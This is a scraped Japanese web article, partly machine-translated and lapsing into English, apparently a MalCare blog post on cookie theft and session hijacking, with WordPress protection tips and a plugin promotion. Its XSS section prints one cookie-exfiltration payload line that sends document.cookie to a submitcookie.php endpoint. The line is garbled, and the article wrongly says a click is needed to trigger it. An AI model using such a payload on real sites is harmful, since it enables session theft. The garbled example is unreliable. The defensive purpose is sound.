HTML
 Computer >> コンピューター >  >> プログラミング >> HTML

Cookie の盗用とセッションのハイジャックを防ぐには? (最も簡単なガイド)

Web サイトが Cookie を使用して機密データを保存していることをご存知ですか?ハッカーがあなたの Cookie を簡単に盗むことができることをご存知ですか?これにより、Web サイトと訪問者が危険にさらされる可能性があります!

Cookie には、顧客の広告設定からログイン資格情報、クレジット カード情報まで、あらゆる種類の情報が保存されます。 Cookie はインターネット全体で広く使用されており、どれだけ頻繁に盗まれるかは恐ろしいことです。

Cookie の盗用やセッション ハイジャックの被害者である場合、その影響は深刻です。収益と訪問者の信頼を失うだけでなく、法的な問題や多額の罰金に直面する可能性もあります!

しかし、心配する必要はありません。今日は、これらの攻撃を防ぐために知っておくべきことをすべて説明します!

このガイドでは、まずハッカーが Cookie を盗む方法を学び、次に予防策について説明します。

TL;DR : WordPress ウェブサイトが心配ですか? Session Hijacking &Cookie Stealing Protection Plugin をインストールすることで、今すぐサイトを保護できます . Web サイトを定期的にスキャンし、ハッカーが Cookie を盗むことを可能にする悪意のあるコードを挿入した場合に警告します。プラグインを使用すると、ハッキングを迅速にクリーンアップして影響を回避できます。

目次

→ Cookie盗用とは?

→ ハッカーはどのようにクロスサイト スクリプティング (XSS) を使用して Cookie を盗み、セッションを乗っ取るのか?

→ クッキー盗用とセッションハイジャックを防ぐには?

→ Web サイトの訪問者が Cookie 盗用に対して実行できる手順

Cookie 盗用とは?

私たちが望む限り、クッキーの盗みは、子供がクッキーの瓶に手を突っ込むような単純なものではありません!これは複雑なプロセスであり、何が起こっているのかを理解するには、基本に触れる必要があります。

→ Cookie とは?

Cookie は小さなデータと考えることができます。ウェブサイトとのやり取りに関する情報を保存します。たとえば、ある e コマース サイトでは、検索された製品、購入された製品、カート内で放棄されたアイテム、または訪問したページなど、顧客の旅を追跡したいと考えています。

これにより、顧客が好むもの、最もアクセスされているページ、ユーザーがページに滞在する時間などに関する分析情報がストアに提供されます。この情報を使用して、ウェブサイトに表示される内容を調整できます。 顧客の好みに応じて。

クッキーは、ウェブサイトの所有者に、何が機能し、何が機能しないかについての洞察を提供します。これは、サイトで何を変更または改善する必要があるかを判断するのに役立ちます。

Cookie は、関連する広告をユーザーに表示するためにも使用されます。 Web サイトにアクセスすると、広告が表示されていることに気付くでしょう。

Cookie の盗用とセッションのハイジャックを防ぐには? (最も簡単なガイド)

これらの広告は通常、最近の検索履歴を反映しています。たとえば、Google で「ラップトップ」を検索すると、すべての Web サイトの広告にデルの広告が表示されることがわかります。これらの広告はウェブサイトの一部ではありませんが、Google Adsense などのサービスによって処理されます。

Cookie は、ウェブサイトの所有者とユーザーの両方にとって便利なものです。 それはエンゲージメントを高め、より多くの売り上げにつながる可能性があり、ウェブサイトの所有者にとって素晴らしいことです.購入者に関して言えば、Cookie は、ウェブサイトでよりパーソナライズされたエクスペリエンスを得たり、より関連性の高い広告を表示したりするのに役立ちます.

ただし、後で説明する多くの欠点があります。

[トップに戻る↑]

→ ブラウザ セッションとセッション ID とは?

Web サイトにログインすると、コンピューターとこの Web サイト間のセッションが作成されます。

たとえば、Facebook にログインすると、セッションが開始されます。これにより、[ログアウト] をクリックしてセッションを終了するまで、(Web ブラウザーを閉じて再度開いても) Facebook を使用し続けることができます。

セッションが作成されなかった場合、毎回ログインし続ける必要があります あなたは新しいデータが欲しかった。たとえば、Facebook ニュース フィードを離れて友人のプロフィール ページを表示したい場合、Facebook からログアウトされ、ログインして友人のプロフィールを表示するには、資格情報を再度入力する必要があります。

Cookie の盗用とセッションのハイジャックを防ぐには? (最も簡単なガイド)

これがセッションが必要な理由です。ログイン状態が維持されるため、引き続き別の Web ページを閲覧したり、Web サイトをナビゲートしたりできます。

ここで注意すべき重要なことは、すべてのセッションで一連の Cookie が生成されるということです。これらをセッション Cookie と呼ぶことができます。また、各セッション Cookie には一意のセッション ID があります。

ウェブサイトはこの ID を使用してユーザーを認証し、信頼できる接続を確立します。

たとえば、Facebook にログインするには、ユーザー名とパスワードを入力する必要があります。次に、一意の ID を使用してセッションが作成されます。 Facebook Web サイトに対するすべてのリクエストは、この ID で認証されます。したがって、別のページを表示する場合は、そのページを表示するように Facebook サーバーに要求を送信します。 Facebook が ID を確認し、見たいコンテンツを表示します。

現在、ハッカーはあなたのセッションを乗っ取り、この信頼できる接続を悪用する可能性があります.彼らはあなたに代わって悪意のあるリクエストを送信できます。見てみましょう。

[トップに戻る↑]

→ Cookie に関するセキュリティ上の懸念は何ですか?

Cookie が生成されると、サイト所有者のみが表示できます。他の Web サイトはあなたの Cookie を表示できません。それらはあなただけのものです。

しかし、これらの Cookie はインターネット上を移動します。これらは、広告サービスと分析サービスで使用されます。したがって、これらの Cookie は世界中のサーバーからサーバーへと移動します。接続が安全でない場合、ハッカーはこれらの Cookie を簡単に傍受して盗むことができます。

さて、もしハッカーがあなたの買い物の好みに関する情報を得ることができたら、大したことではありませんよね?

問題は、ショッピングの好みに関する情報以上のものを保存する Cookie にあります。 銀行の詳細と個人情報も保存します 配送先住所や連絡先の詳細など。

この種の情報が悪用されると、不正行為に悪用される可能性があります。

ハッカーが Cookie を盗む最も一般的な方法の 1 つは、あなたと同じ Wi-Fi を使用している場合です。この種の Wi-Fi ハッキングは中間者攻撃と呼ばれ、両方が同じワイヤレス ネットワークに接続されている場合にのみ実行できます。これが、公共の Wi-Fi を使用しないことをお勧めする理由です。 安全でないか、多くの人が使用しています。これは、同じコンピュータ ネットワーク内のユーザーにも発生する可能性があります。

他のいくつかの方法には、パケット スニッフィングや、クロスサイト スクリプティングと呼ばれる脆弱性の悪用があります。今日は、XSS Cookie 盗用のしくみについて詳しく説明します。

[トップに戻る↑]

ハッカーがクロスサイト スクリプティング (XSS) を使用して Cookie を盗み、セッションをハイジャックする方法

ハッカーがクロスサイト スクリプティング (XSS) 攻撃を使用して Cookie を盗む方法を示すために、例を使用します。コメント セクションがある Web サイトにアクセスしたとします。

コメントはウェブサイトのデータベースに送信されます。理想的には、このコメント セクションは平易な英語のテキストのみを受け入れるように構成する必要があります。ただし、特殊文字も受け入れると、XSS に対して脆弱になります。

ハッカーは、データベースに送信される独自の悪意のあるコードを入力できます。 中に入ると、コードが実行されます。ハッカーが Web サイトに挿入して、新しい Web サイト管理者の作成や Cookie の盗用など、あらゆる種類の悪意のある活動を実行できるコードは多数あります。

Cookie を盗むために、ハッカーは次のコードを入力できます:

注:これは、Cookie を盗む方法に関するチュートリアルではありません。この記事は、ハッカーが Cookie を盗む方法をウェブサイトの所有者に知らせることを目的としています。違法行為を行うことはお勧めしません。

[PHP]

document.write('<img src=& amp;amp;amp;quot;https://localhost/submitcookie.php? cookie ='

+ エスケープ(document.cookie) + ‘" />);

[/php]

コメント セクションでは、このコードは画像として表示されます。 (訪問者として)クリックすると、画像が表示されます。しかし、それだけではありません。

画像をクリックすると、この PHP ファイルがサイレント モードでコードを実行し、セッション Cookie とセッション ID を取得します。

これで、ハッカーはあなたのセッションを再作成し、その Web サイトであなたのふりをすることができます. 彼らは、多数の悪意のある行為を実行できます。たとえば、Cookie にクレジット カードやその他の支払い情報が含まれている場合、購入を行うことができます。

幸いなことに、ウェブサイトの所有者とその訪問者をこれらのハッキングから保護するための予防策があります.

Web サイトのコメント セクションや電子メールにある不審なリンクは決してクリックしないでください。 Cookie の盗難の被害者になる可能性があります。クリックしてツイート

[トップに戻る↑]

Cookie の盗用とセッション ハイジャックを防ぐ方法

Cookie の盗難とセッション ハイジャックを防止する役割を果たしているのは、Web サイトの所有者と訪問者の 2 者です。双方の予防策について話し合います。

ウェブサイト所有者が Cookie 盗用に対して講じることができる対策

Web サイトの所有者として、すべてを処理するセキュリティ アナリストがいない場合は、次の予防措置を講じる必要があります。

1. SSL 証明書をインストールする

データは、ユーザーのブラウザーと Web サーバーの間で常に転送されます。 SSL を使用しない場合、このデータ (Cookie) はプレーン テキストで送信されます。ハッカーがこのデータを傍受した場合、簡単に読み取ることができます。そのため、ログイン資格情報が含まれている場合は公開されます。

Cookie の盗用とセッションのハイジャックを防ぐには? (最も簡単なガイド)

SSL (Secure Sockets Layer) は、転送前にデータを暗号化します。そのため、ハッカーが盗んだとしても、データを読み取ることはできません。

SSL 証明書は、Web ホスティング会社または SSL プロバイダーから取得できます。 Let’s Encrypt から基本的な無料 SSL 証明書を取得することもできます。

2.セキュリティ プラグインをインストールする

WordPress セキュリティ プラグインを維持する Web サイトでアクティブな MalCare など。プラグインのファイアウォールは、Web サイトでのハッキングの試みを防ぎ、悪意のある IP アドレスをブロックします。さらに、サイトを定期的にスキャンし、ハッカーによって悪意のあるコードが入力された場合に警告します。ウェブサイトをすぐにクリーンアップできます。これにより、そのようなハッキングの試みが害を及ぼす直前に検出して削除することができます。

3.ウェブサイトを更新する

WordPress のインストール、テーマ、プラグインを含め、ウェブサイトを常に最新の状態に保ちます。古いソフトウェアを実行すると、Web サイトにハッカーが悪用できる多くの脆弱な場所が開かれます。新しい更新が利用可能になったら、必ずサイトを更新してください。

Cookie の盗用とセッションのハイジャックを防ぐには? (最も簡単なガイド)

これらの更新は、新機能やバグ修正を含むだけでなく、セキュリティ上の欠陥も随時修正します。

4.ウェブサイトを強化する

WordPress.org は、Web サイトに実装すべき特定の Web サイト強化対策を推奨しています。これには、強力で一意のユーザー名と強力なパスワードの使用、不明なフォルダーでの PHP の実行のブロック、テーマやプラグインでのファイル エディターの無効化などが含まれます。さて、これはすべて専門用語のように聞こえるかもしれません。そのため、WordPress 強化の詳細な手順ガイドを作成しました。

[トップに戻る↑]

ウェブサイトの訪問者が Cookie 盗用に対して実行できる手順

Web サイトの訪問者として、Web サイトが適切なセキュリティ対策を講じていることを盲目的に信頼する必要はありません。次の Web セキュリティ プロトコルで身を守ることができます。

1.効果的なウイルス対策をインストールする

インターネットへのアクセスに使用しているデバイスに、マルウェア対策ソフトウェアがインストールされていることを確認してください。これにより、悪意のある Web サイトにアクセスしたときにマルウェアが検出された場合に警告が表示されます。また、システムに誤ってダウンロードまたはインストールした可能性のあるマルウェアも削除されます。

2.不審なリンクは絶対にクリックしない

ハッカーは、Web サイトのコメント セクションや電子メールを通じてユーザーを標的にします。信頼できないリンク、特に魅力的なオファーや割引であなたをおびき寄せるリンクをクリックしないでください。

3.機密データの保存を避ける

クレジット カード情報をショッピング サイトに保存すると、チェックアウトがより迅速かつ便利になります。 Saving passwords on web browsers like Google Chrome to auto log into websites eliminates the need to remember passwords!

But it all comes with a high risk of being stolen. It’s best to never store sensitive data on websites. It may save you a few seconds, but it also puts you at risk of being attacked.

4. Clear Cookies

You can clear your cookies regularly to get rid of any sensitive information stored in browsers like Google Chrome. Access History> Clear Browsing History. Here, tick the checkbox ‘Cookies and other site data’.

Cookie の盗用とセッションのハイジャックを防ぐには? (最も簡単なガイド)

Choose the time range ‘All Time’ or one that is according to your preference. Next, click ‘Clear data’ and the cookies will be deleted from your browser’s history.

That brings us to an end to cookie stealing. We hope this article has helped you gain a better understanding of what exactly happens and how to prevent it.

This guide from MalCare helped me understand cookie stealing and how to take preventive measures against it. Check it out. Click to Tweet

[Back to Top ↑]

最終的な考え

As a website owner, you need to take protective measures to secure your own interests as well as your visitors, clients, and customers. But we understand that setting up a website and managing it is a hard task.

There is an endless number of things to take care of which is why WordPress security tends to take a backseat many times.

But ignoring the security aspect of your website can prove to be disastrous to all your other efforts.

An easy, quick and efficient solution is the MalCare security plugin. You can think of it as a security guard that you hire. It will work round the clock to regularly scan your website and protect it from attacks. You can rest assured that your website is in safe hands.

<強い>
Keep your WordPress site protected with マルケア !


  1. DNS リークとその防止方法

    インターネット接続へのリモート アクセスの使用が増加しているため、ハッキングの試みはますます巧妙になっています。公衆 Wi-Fi 接続の存在は、インターネット サービス プロバイダー (ISP) が提供する接続に深刻な脆弱性をもたらしました。さらに、パーソナル コンピューターや企業ネットワークに対するサイバー攻撃やランサムウェア攻撃の増加により、サイバー空間に保存されているデータの機密性とセキュリティが問題になっています。 そして今、ハッカーやサイバー攻撃者がシステムにアクセスする必要はありません。彼らができることは、インターネット ネットワークを侵害し、最終的に悪意のある Web サイトに

  2. スパイウェアとアドウェアを防ぐには?

    スパイウェアやアドウェアのないコンピュータを持つことは、個人にとっての必要性と責任になりました。サイバー犯罪者は日を追うごとに賢くなり、ウイルス、キーロガー、スパイウェア、アドウェア、悪意のあるリンクを偽装して送信し、機密情報を手に入れて金銭的利益を得るなど、システムを標的にする新しい方法を発明しています。幸いなことに、いくつかの手順に従うことで、スパイウェアやアドウェアがシステムに感染するのを防ぐことができます。しかし先に進む前に、スパイウェアとアドウェアとは何かを理解しましょう? スパイウェアとは? スパイウェアは、攻撃者が知らないうちにユーザーのコンピューターを攻撃するように設計された